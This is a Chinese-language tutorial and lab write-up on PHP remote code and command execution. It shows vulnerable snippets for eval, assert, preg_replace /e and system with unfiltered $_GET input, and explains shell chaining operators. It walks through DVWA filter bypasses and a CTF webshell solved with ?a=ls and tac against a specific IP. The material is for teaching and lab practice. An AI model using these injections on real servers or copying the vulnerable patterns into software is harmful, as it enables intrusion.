Remote Command/Code Execute,远程命令或者代码执行。通过构造特殊的字符串,将数据提交到WEB应用程序,并利用该方式外部程序或命令进行攻击,类似SQL注入。
Web应用程序使用了一些可以执行系统命令,或者代码的函数,由于对用户提交的数据过滤不严格,导致黑客可以利用服务器执行命令或者代码
可控变量:可以控制的变量,就是通过url的传参,通过上面的参数值,来改变变量值。
漏洞函数:使用哪个函数,对这个变量进行操作,这个函数的作用,就变成了这个漏洞的作用,
如果你这个函数的作用是文件上传,那么就会造成文件上传的漏洞,如果函数的作用是执行代码,那么就会造成执行代码的漏洞,以此类推。
以上结论:漏洞是什么类型的由使用的函数来决定,漏洞是否存在由传递的变量来决定,如果没有可控的变量,那么就意味没有漏洞
PHP相关敏感函数
作用:如果参数是PHP代码(字符串类型),会作为PHP的代码来执行,并且以分号结尾
1.将php的代码作为eval的参数
eval('echo 2+2');
2.eval的参数来自于用户输入
eval($_GET['code']);
url
http://127.0.0.1/websec/day03/rec1.php?code=phpinfo();
phpinfo()函数:
功能:可以输出我们php服务器相关的信息
总结:如果给的eval函数所传递的字符串是由用户传递进来的,是一个可执行的PHP语句,则该函数对语句内容执行,如果所执行的语句具有一定的危害性,则形成漏洞,无法保证数据安全
作用:函数的本意并不是用于执行代码的,是程序员用来调式代码用的,但是如果第一个参数是字符串,他会被assert()当作PHP代码执行 。
assert()参数来自用户输入
assert($_GET['code']);
url
http://127.0.0.1/websec/day03/rec1.php?x=phpinfo();
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)
作用:搜索$subject中匹配$pattion的部分,以$replacement,进行替换。如果所替换的内容为可执行函数,则该函数会被执行
e修政府使preg_replace(),将replacement参数当作PHP代码执行。提示:要确保 replacement构成一个合法的PHP代码字符串,否者PHP会在报告包含preg_replace()的行中出现语法解析错误
演示函数,没有使用e前
echo perg_replace('/gum/','yyds','gum');
作用:在第三个参数和第一个参数进行匹配,如果找到了,把第一个参数替换成第二个参数
替换成功
使用e修正后,接受来自用户输入参数
echo preg_replace('/gum/e',$_GET['code'],'gum');
url:
http://127.0.0.1/websec/day03/rec1.php?code=phpinfo();
call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
第一个参数callable是被调用的回调函数,其余参数是回调函数的参数
call_user_func('phpinfo');
这里不是调用函数,直接写函数名行了
以上是远程代码执行的敏感相关函数。
什么是命令执行?
比如说查看计算机的相关信息,比如文件读写的操作,文件的删除操作等,这些功能命令都可以实现的,也就意味着这个漏洞也是可以去做这样,可以实现的
操作系统:Windows Linux
以下是远程命令执行的相关函数
(如果出现乱码的问题,把编码格式改成GBK)
作用:执行命令,只会输出命令执行结果的最后一行
$cmd=$_GET['cmd'];
echo exec($cmd);
url:
http://127.0.0.1/websec/day03/rec2.php?cmd=dir;
作用:执行命令,输出所有结果
$cmd=$_GET['cmd'];
echo shell_exec($cmd);
url:
http://127.0.0.1/websec/day03/rec2.php?cmd=dir
作用:执行命令,输出所有结果
$cmd=$_GET['cmd'];
echo `$cmd`;
url:
http://127.0.0.1/websec/day03/rec2.php?cmd=dir
作用:执行命令,执行外部程序并且输出结果(操作系统与环境)
注意:system函数不管是linux还是windows操作系统的都可以执行,他会自动区分命令。(如果你的服务器是windows的话输入linux的命令是不会返回结果的,以此类推)
windows
$win=&_GET['W'];
echo system($win);
url:
http://127.0.0.1/websec/day03/rec2.php?w=ipconfig
这边 Linux我就不演示,如果是服务器是Linux系统的话,改成linux命令就好了
cmd1&&cm2
cmd1执行成功,才会执行cmd2,如果cmd1执行不成功那么cmd2不会执行
cmd1执行成功
echo `whoami&&dir`;
cmd1执行失败
echo `pwd&&dir`;
ps:这里执行失败因为我的服务器是windows cmd1是linux的 命令
cmd1&cmd2
不管cmd1是否执行成功,cmd2都会执行,不受到cm1的影响
echo `pwd&&dir`
cmd1||cmd2
如果cmd1执行成功了,cmd2不执行,如果cmd1执行失败了,cmd2执行(二者只能有1,缺心眼行为)
cmd1执行成功,cmd2不执行
echo `whoami||dir`;
cmd1执行失败,cmd2执行
echo `pwd||dir`;
4. | 管道符
cmd1|cm2 (cmd1的输出会作为cmd2的输入)
没有cmd1的结果,只有cmd2的结果。
echo `ipconfig|dir`;
echo `pwd|dir`;
不显示结果。
这个没啥好说的,我就不演示了。知道管道符是干啥用的都可以理解
1.eval()
首先我先抓一个包看一下他这个服务器是windows系统还是linux的系统
那么说明eval函数在这里字符串 类型可以作为php代码执行,直接实验phpinfo()函数,
获取他 php的配置信息
呐,这不是就出来了
2.ping (命令执行漏洞)
等级:low
查看一下原代码
可以看出没有对连接符进行过滤
等级:medium
查看原代码
这里可以看到对&& 和; 过滤了,只要绕过这两个就好了
等级:high
查看源代码:
在源代码可以看出,程序员对所有的命令拼接符都过滤了,那么我是怎么绕过的呢?
注意看| 的位置 ,他的单引号在多了一个空格,说明他程序员在进行过滤的时候不小心加了一个空格,并不是他的本意,正是因为他加了这个空格本来是对|这个连接符进行了过滤,但是他在|的后面多了一个空格,就变成了过滤|空格 ,那么只要在输入|的时候后面不要加空格就可以绕过了。大家可以去试试,如果加了空格是否 还能绕过。
1.命令注入执行分析
1.这里可以看出这是一个ping的命令远程漏洞
2.判断服务器的操作系统,输入远程命令
先抓一个包
抓到服务器Ubuntu,可以得出结论是Linux系统。
3.使用BP,抓包修改数据
4.得到结果
5.拿key
继续抓包修改数据
6.拿到key
靶场页面
-------------当前页面源码----key在根目录------------------
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
这里使用了base64,加密和压缩的编码
直接把eval修改成echo直接输出
修改后
-------------当前页面源码----key在根目录------------------
echo (gzinflate(base64_decode("40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==")));
?>
保存执行
执行后得到的结果
echo `$_REQUEST[a]`;; ?>
猜测原语句
eval(echo `$_REQUEST[a]`;; ?> )
发现命令执行漏洞,键名=a,直接传入参数
url:
http://124.70.91.203:46127/f.php?a=ls
页面:
拿key
url:
http://124.70.91.203:46127/f.php?a=tac
这里的的tac是个坑,本来我输入的是cat但是使用cat无法查看,就使用了tac,tac这个命令就是从倒数第一行开始查看,最后我才拿到了key
这里大家可能会质疑eval()不是代码执行的漏洞吗?怎么变成命令执行了?
因为eval(echo `$_REQUEST[a]`;; ?> )这里的echo,因为这个服务器是linux的在linux中echo代表的是linux的命令 ,所以他这个漏洞就成为了命令执行的漏洞
1.对命令连接符使用黑名单
2。如果要求输入ip地址的话,对IP地址做严格的过滤(可以参考DWAV最后一关无效的防御方案)